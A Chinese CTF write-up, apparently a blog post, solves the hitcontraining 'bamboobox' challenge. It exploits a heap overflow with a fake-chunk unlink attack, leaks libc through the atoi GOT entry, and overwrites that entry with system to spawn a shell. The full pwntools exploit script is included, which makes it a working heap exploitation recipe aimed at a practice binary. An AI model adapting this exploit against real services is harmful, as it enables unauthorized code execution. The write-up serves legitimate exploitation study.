hitcontraining_bamboobox

一道unlink的题目,题目给出了add,remove,change,show四个功能,漏洞在于没有检查change的范围导致堆溢出,并且题目中给出了system函数,还是伪造fake_chunk来绕过unlink检查,从而实现任意地址写,首先申请3个0x80大小的chunk

add(0x80,'a' * 8)   
add(0x80,'b' * 8)
add(0x80,'c' * 8)

根据调试,我们可以看到0x6020C0+8处是指向0号chunk的指针,所以我们构造FD = 0x6020C8 - 0x10,BK = 0x6020C0 - 0x18然后构造fake_chunk

ptr = 0x6020c8
fake_chunk = p64(0) 
fake_chunk += p64(0x81)
fake_chunk += p64(ptr-0x18) 
fake_chunk += p64(ptr-0x10) 
fake_chunk += 'c'*0x60
fake_chunk += p64(0x80) 
fake_chunk += p64(0x90) 
edit(0,0x90,fake_chunk) 
free(1)

free之后就会0号chunk和1号chunk进行合并到unsorted bin中就可以通过编写0号chunk来修改ptr-0x10处的值

payload = p64(0) * 3 
atoi_got = elf.got["atoi"]
payload += p64(atoi_got)
edit(0,0x20,payload)
show()
ru("0 : ")
atoi_addr = u64(ru(":")[:6].ljust(8,'\x00'))
libcbase = atoi_addr - libc.symbols['atoi']
system_addr = libcbase + libc.symbols['system']

这里通过show这个功能吧atoi_got表地址打印出来从而算出libc基址

edit(0,0x8,p64(system_addr))
ru(":")
sl("/bin/sh\x00")
a.interactive()

最后将atoi_got该为system地址,就可以在atoi的参数处输入/bin/sh\x00从而get shell

exp如下:

from pwn import *
from LibcSearcher import *
from struct import pack 
context(log_level="debug",os="linux",arch="amd64")
​
sd = lambda x:a.send(x)
sl = lambda x:a.sendline(x)
ru = lambda x:a.recvuntil(x)
rl = lambda :a.recvline()
ra = lambda :a.recv()
rn = lambda x:a.recv(x)
sla = lambda x,y:a.sendlineafter(x,y)
​
local = 'bamboobox'
a = process(local)
libc = ELF("libc-2.24.so")
#a = remote("node4.buuoj.cn",26365)
elf = ELF(local)
def add(size,name):
    sla("Your choice:","2")
    sla("name:",str(size))
    ru("item:")
    sd(name)
​
def free(idx):
    sla("Your choice:","4")
    sla("item:",str(idx))
​
def edit(idx,size,name):
    sla("Your choice:","3")
    sla("item:",str(idx))
    sla("name:",str(size))
    ru("item:")
    sd(name)
​
def show():
    sla("Your choice:","1")
​
add(0x80,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
gdb.attach(a)
ptr = 0x6020c8
fake_chunk = p64(0) 
fake_chunk += p64(0x81)
fake_chunk += p64(ptr-0x18) 
fake_chunk += p64(ptr-0x10) 
fake_chunk += 'c'*0x60
fake_chunk += p64(0x80) 
fake_chunk += p64(0x90) 
edit(0,0x90,fake_chunk) 
free(1)                 
                            
payload = p64(0) * 3        
atoi_got = elf.got["atoi"]
payload += p64(atoi_got)
edit(0,0x20,payload)
​
show()
ru("0 : ")
atoi_addr = u64(ru(":")[:6].ljust(8,'\x00'))
libcbase = atoi_addr - libc.symbols['atoi']
system_addr = libcbase + libc.symbols['system']
edit(0,0x8,p64(system_addr))
​
ru(":")
sl("/bin/sh\x00")
a.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Aslhs_0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值